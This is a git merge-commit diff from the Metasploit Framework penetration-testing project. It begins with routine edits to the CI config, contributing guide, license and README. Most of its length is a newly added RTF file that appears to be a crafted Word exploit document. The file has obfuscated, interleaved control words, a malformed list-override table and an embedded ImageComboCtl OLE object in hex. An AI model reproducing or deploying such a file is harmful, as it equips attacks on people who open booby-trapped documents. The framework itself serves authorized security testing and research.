Merge branch 'master' of github.com:hmoore-r7/metasploit-framework into feature/recog
Conflicts: Gemfile Gemfile.lock data/js/detect/os.js lib/msf/core/exploit/remote/browser_exploit_server.rbbug/bundler_fix
commit
a844b5c30a
|
@ -1,11 +1,15 @@
|
|||
language: ruby
|
||||
env: MSF_SPOTCHECK_RECENT=1
|
||||
before_install:
|
||||
- rake --version
|
||||
- sudo apt-get update -qq
|
||||
- sudo apt-get install -qq libpcap-dev
|
||||
# Uncomment when we have fewer shipping msftidy warnings.
|
||||
# Merge committers will still be checking, just not autofailing.
|
||||
# See https://dev.metasploit.com/redmine/issues/8498
|
||||
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
# - ls -la ./.git/hooks
|
||||
# - ./.git/hooks/post-merge
|
||||
before_script:
|
||||
- ./tools/msftidy.rb
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- bundle exec rake --version
|
||||
- bundle exec rake db:create
|
||||
|
|
|
@ -1,14 +1,29 @@
|
|||
# Contributing to Metasploit
|
||||
# Hello, World!
|
||||
|
||||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! What you see here in CONTRIBUTING.md is a
|
||||
bullet-point list of the do's and don'ts of how to make sure *your*
|
||||
valuable contributions actually make it into Metasploit's master branch.
|
||||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? If so, please use our [Redmine Bug
|
||||
Tracker](https://dev.metasploit.com/redmine/projects/framework). An
|
||||
account is required but it only takes a minute or two.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit?
|
||||
If so, please take a look at Rapid's [Vulnerability
|
||||
Disclosure Policy](https://www.rapid7.com/disclosure.jsp) policy.
|
||||
|
||||
Are you about to contribute some new functionality, a bug fix, or a new
|
||||
Metasploit module? If so, read on...
|
||||
|
||||
# Contributing to Metasploit
|
||||
|
||||
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
If you care not to follow these rules, your contribution **will** be
|
||||
closed (*Road House* style). Sorry!
|
||||
|
||||
Incidentally, this is a **short** list. The
|
||||
This is intended to be a **short** list. The
|
||||
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup
|
||||
|
@ -23,6 +38,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
|
|||
|
||||
### Pull Requests
|
||||
|
||||
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
|
||||
|
@ -34,7 +50,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
|
|||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
|
||||
* **Do** use the [API](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
||||
#### Library Code
|
||||
|
@ -42,6 +58,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
|
|||
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
|
||||
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
|
||||
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
|
||||
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||
|
||||
#### Bug Fixes
|
||||
|
||||
|
@ -50,8 +67,8 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
|
|||
|
||||
## Bug Reports
|
||||
|
||||
* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com.
|
||||
* **Do** create a Redmine account and report your bug there.
|
||||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
* **Do** create a Redmine account and report your non-vulnerability bugs there.
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
||||
|
|
8
LICENSE
8
LICENSE
|
@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
|||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2013, Rapid7, Inc.
|
||||
Copyright: 2006-2014, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
|
@ -176,6 +176,10 @@ Files: arel
|
|||
Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
|
||||
License: MIT
|
||||
|
||||
Files: bcrypt
|
||||
Copyright: 2007-2011 Coda Hale
|
||||
License: MIT
|
||||
|
||||
Files: builder
|
||||
Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com)
|
||||
License: MIT
|
||||
|
@ -310,7 +314,7 @@ License: BSD-3-clause
|
|||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
.
|
||||
* Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
.
|
||||
|
|
|
@ -24,10 +24,11 @@ The mailing list archives are available from:
|
|||
|
||||
Installing
|
||||
--
|
||||
Generally, you should use the installer which contains all dependencies
|
||||
and will get you up and running with a few clicks. See the [Dev
|
||||
Environment Setup][wiki-devenv] if you'd like to deal with dependencies
|
||||
on your own.
|
||||
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download)
|
||||
which contains all dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
Using Metasploit
|
||||
--
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,183 @@
|
|||
{\rt{{{\{\info{\author ismail - [2010{\n{\info{\author ismail - [2010]}ofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}]}info{\revtim\yr{\creatim\yr2014\{\info{\author ismail - [2010]}mo3\dy8\hr3\min9}2014\m{\revt{\*\company home}im\yr2014\mo3\dy8\hr3\min9}{\info{{\revtim\yr2014\mo3\dy8\hr3\min9}\author ismail - [201{\crea{{\revtim\yr2014\mo3\dy8\hr3\min9}\info{\author ismail - [2010]}tim\yr2014\mo3\dy8\hr3\min9}0]}o3\dy8\hr3\min9}{\aut{\nofcha{\info{\author ismail - [2010]}rsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3{\creatim\yr2014\mo3\dy8\hr3\min9}\dy8\hr3\min9}\*
|
||||
sidtbl
|
||||
{\creatim\yr2014\mo3\dy8\hr3\min9}sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}hor ismail - [2010]}\revtim{\info{\author ismail - [20{\info{\author ismail - [2010]}10]}\yr2014\mo3\dy8\hr3\min9}{\revt{\inf{\c{\*\{\nofcharsw{\nofcharsws69}{\op{\c{\*\company home}reatim\yr2014\mo3\dy8{\creatim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}erator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}s69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}company home}reatim\yr2014\mo3\dy8\hr3\min9}o{\author ismail - [201{\nofcharsws69}{\operator is{{\revtim\yr2014\mo3\dy8\hr3\min9}\*\company home}mail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}0]}im\yr2014\m{\info{\author ism{\creatim\yr2014\mo3\dy8\hr3\min9}ai{\revtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}o3\dy8\hr3\min9}{\*\company home}\i{{{\crea{\nofcharsws69}{\operator ismai{\creatim{\nofcharsws69}{\o{\*\company home}{\revtim\yr2014\mo3\dy8\hr3\min9}perator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014{\*\company home}\mo3\dy8\hr3\min9}l - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}tim{\nofcharsws{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}69}{\operator ismail - [2010]}{\*
|
||||
sidtbl{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014\mo3\dy8{\revtim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}\{{\creatim\yr2014\mo3\dy8\hr3\min9}\cr{\creati{\*\company home}m{\*\company home}\yr2{\creatim\yr2014\mo3\dy8\hr3\min9}0{\revtim\yr2014\mo3\dy8\hr3\min9}14\mo3\dy8\hr3\min9}eatim{\*\company home{\creatim\yr2014\mo3\dy8\hr3\min9}}\yr2014\mo3\dy8\hr3\min9{\*\compa{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ny home}}revtim\yr20{\nof{\cr{\creatim\yr2014\mo3\dy8\hr3\min9}eatim\yr2014\mo3\dy8\hr3\min9}charsws69}{\ope{{\creatim\yr2014\mo3\dy8\hr3\min9}\*\company home}rator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\revtim\yr2014\mo3\dy8\hr3\min9}14\{\creatim\yr2014\mo3\{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}dy8\hr3\min9}mo3\dy8\hr{\info{\auth{\info{\author ismail - {\*\company home}[2010]}or ismail - [2010]}3\min9}{\*\company{\info{\author ismail - [2010]} home}\*\company home}nfo{\*\company home}{\author{\info{\auth{\info{\author ismail - [2010]}or ismail - [2010]} ismail - [2010]}{\r{{\*\company home}\revt{\n{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
si{\revtim\yr2014\mo3\dy8\hr3\min9}dt{\info{\author ismail - [2010]}bl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr20{{{\r{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}\nofcharsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3\dy8\hr3\min9}\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\info{\a{\revtim\yr2014\mo3\dy8\hr3\min9}uthor isma{\creatim\yr2014\mo3\dy8{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\hr3\min9}il - [2010]}14\mo3\dy8\hr3\{\*\company home}min9}evtim\yr{\no{\revtim\yr2014{\*\company home}\mo3\dy8\hr3\min9}fcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
{\*\company home}s{\revtim\yr2014\mo3\dy8\hr3\min9}id8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}2014\mo3\dy8\{{\creatim\yr201{\*\company home}4\{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}mo3\dy8\hr3\min9}\revtim\yr2014\mo3\dy8\hr3\min9}hr3\min9}f1{{\inf{\creatim\yr2014\mo3\dy8\hr3\min9}{\*\company home}o{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\a{\info{\no{\*\company home}fcharsws69}{\ope{\*\company home}rator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\author ismai{\r{\no{\revtim\yr2014\mo3\dy8\hr3\min9}fcharsws69}{\oper{\creatim\y{\creatim\yr2014\mo3\dy8\hr3\min9}r2014\mo3\dy8\hr3\min9}ator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}uthor isma{\*\company home{\info{\author ismail - [2010]}}il - [2010]}\*\list{{\creat{\{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr2014{\revtim\yr2014\mo3\dy8\hr3\min9}\mo3\dy8\hr3\min9}\*\company home}{\revti{\*\company home}m\yr2014\mo3\dy8\hr3\min9}{\revtim\yr2014\mo3\dy8\h{\creatim\yr2014\mo3\dy8\hr3\min9}r3\mi{\creatim\yr2014\mo3\dy{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}8\hr3\min9}n9}overridetable{\listoverride\listid1094795585\listoverridecount25
|
||||
{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn232\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart1\levelpicture1\levelold1\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\leveltext\'ff\u-48831 ?\u48831 ?;}{\levelnumbers\'5A'‰dY'ï¸X';}\chbrdr\brdrnone\brdrcf1\chshdng0\chcfpat1\chcbpat1\f4\rtlch\fcs1 \af0 \ltrch\fbias0 \s69\hres1\chhres1\fi-361\li1081\lin6480\jclisttab\tx1081}}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'92ZDCBA„Y';}}}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn194\leveljc0\leveljcn3\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'5C'ÎÂX'ABCD;}}}
|
||||
{\lfolevel}{\lfolevel}{\lfolevel}
|
||||
\ls16962}}
|
||||
{\object\objocx\f37\objsetsize\objw1500\objh749{\*\objclass MSComctlLib.ImageComboCtl.2}{\*\objdata 01050000020000001c000000
|
||||
4d53436f6d63746c4c69622e496d616765436f6d626f43746c2e32000000000000000000001e0000
|
||||
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000b00000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
fffffffffffffffffdffffff0d000000030000000400000005000000060000000700000008000000090000000a000000fefffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000066a69ddd9485d111b16a00c0f0283628000000000000000000000000e01c
|
||||
bb4913f3cd010c000000000100000000000003005000520049004e005400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
|
||||
000000000000000002000000ae1000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000000000000060000000000000003004f00430058004e0041004d00450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000010000001a000000000000000800560aca0200000100090000035308000006008806000000008806000026060f00060d574d464301000000000001007ed80000000001000000e40c000000000000e40c0000010000006c0000000000000000000000630000001a0000000000000000000000
|
||||
560a0000ca02000020454d4600000100e40c000038000000070000000000000000000000000000000004000000030000690100000f0100000000000000000000000000001c830500552204000c0000001000000000000000000000000a000000100000000000000000000000180000000c00000000000000190000000c00
|
||||
0000ffffff00260000001c0000000100000000000000000000000000000000000000250000000c0000000100000027000000180000000200000000000000ffffff0000000000250000000c00000002000000520000007001000003000000f1ffffff00000000000000000000000090010000000000000000000043006100
|
||||
6c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0550745f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c18
|
||||
5f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000050000004e0000007f133f1320340000cad55b27a9705f76002de575009b5b27fa0366000000000003000000050000004e0000001000000054000000
|
||||
0000df0503000000050000005100000015000000d57b5f76f59a5b27de094e00000000000000000000000000000000007c664e77106a24009d3948777c664e776476000800000000250000000c000000030000002b000000180000000000000000000000630000001a0000001e0000001800000000000000000000006400
|
||||
00001b000000520000007001000004000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000000000000000000000000032002e0030005c0030005c007700
|
||||
69006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e36264760000
|
||||
0000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000647600080000000025000000
|
||||
0c00000004000000520000007001000005000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000000000000000000000000000000000000000000000000000000000000000000032002e00
|
||||
30005c0030005c00770069006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76
|
||||
f06a2400e362647600000000d46824008d885f7640692400f09f320010a032009cc724000bb44f7720a03200d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a17737122125c0c7240028c9240020c92400000000000400000000000000fcc7240064760008000000002500
|
||||
00000c00000005000000250000000c00000003000000280000000c00000004000000280000000c00000005000000520000007001000005000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600
|
||||
0000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e
|
||||
4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400
|
||||
e0638c7780f08f004600000000000000fa03660000000000000000006476000800000000250000000c00000005000000520000007001000004000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900
|
||||
660000000000000000000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a2400
|
||||
0000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76f06a2400e362647600000000d46824008d885f76406924007842ae069842ae069cc724000bb44f77a842ae06d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a1773712
|
||||
2125c0c7240028c9240020c92400000000000400000000000000fcc724006476000800000000250000000c00000004000000250000000c000000030000005400000054000000000000000400000063000000150000000100000000040d4255250d42f7ffffff04000000010000004c000000000000000000000000000000
|
||||
ffffffffffffffff500000002000000075000000160000000c00000001000000120000000c000000010000001b000000100000000000000000000000160000000c00000000000000250000000c0000000400000054000000540000000000000000000000ffffffffffffffff0100000000040d4255250d42f7ffffff0400
|
||||
0000010000004c000000000000000000000000000000ffffffffffffffff500000000700000008000000520000007001000006000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900660000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000
|
||||
00000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000000061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000
|
||||
985e4877a87bad0600000000f400000030b7ea070000ea076476000800000000250000000c00000006000000250000000c00000004000000280000000c00000006000000250000000c0000000300000054000000a8000000000000000400000063000000150000000100000000040d4255250d42ffffffff040000000f00
|
||||
00004c000000000000000000000000000000ffffffffffffffff6c00000049006d0061006700650043006f006d0062006f00430074006c00200031000000040000000c00000007000000070000000800000008000000080000000c000000080000000800000008000000050000000400000003000000070000001b000000
|
||||
100000000000000000000000160000000c00000000000000120000000c00000002000000280000000c00000005000000280000000c000000040000004b000000100000000000000005000000250000000c0000000d000080250000000c00000000000080280000000c00000002000000250000000c000000070000802800
|
||||
00000c00000001000000190000000c000000ffffff00180000000c000000000000000a0000001000000000000000000000000c000000100000000000000000000000090000001000000001000000010000000b0000001000000001000000010000000e000000140000000000000010000000140000000400000003010800
|
||||
050000000b0200000000050000000c0214004b0005000000090200000000050000000102ffffff0008000000fa0200000000000000000000040000002d01000007000000fc020000ffffff000000040000002d0101001c000000fb02f1ff0000000000009001000000000000000043616c696272690001003f3f0b003f24
|
||||
003ff4003f3f3f3f0000f4003f3f3f3f040000002d010200070000001b041b00640000000000040000002c0100000700000016041b006400000000001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d0103001c00
|
||||
0000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020004000000f001030004000000f00104001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e732053
|
||||
65726966000000000000000000000000040000002d0103001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020009000000320a0400f7ff0100000020007500040000002e01010004000000
|
||||
0201010005000000140200000000040000002e010000040000002d01040009000000320a0400f7ff01000000070008001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010500040000002d01040004000000f001
|
||||
0500040000002d0102001e000000320a0400ffff0f000000496d616765436f6d626f43746c20310004000c00070007000800080008000c000800080008000500040003000700040000002e010000040000000201020004000000f001030004000000f0010400040000002c0100001c000000fb021000070000000000bc02
|
||||
000000000102022253797374656d003f00003f3f3f3f3f3f3f3f3f3f0800000001003f3f3f3f3f00040000002d01030007000000fc020000ffffff000000040000002d01040004000000f001010008000000fa0200000000000000000000040000002d01010004000000f0010000050000000102ffffff00050000000902
|
||||
000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fefffffffeffffff03000000feffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
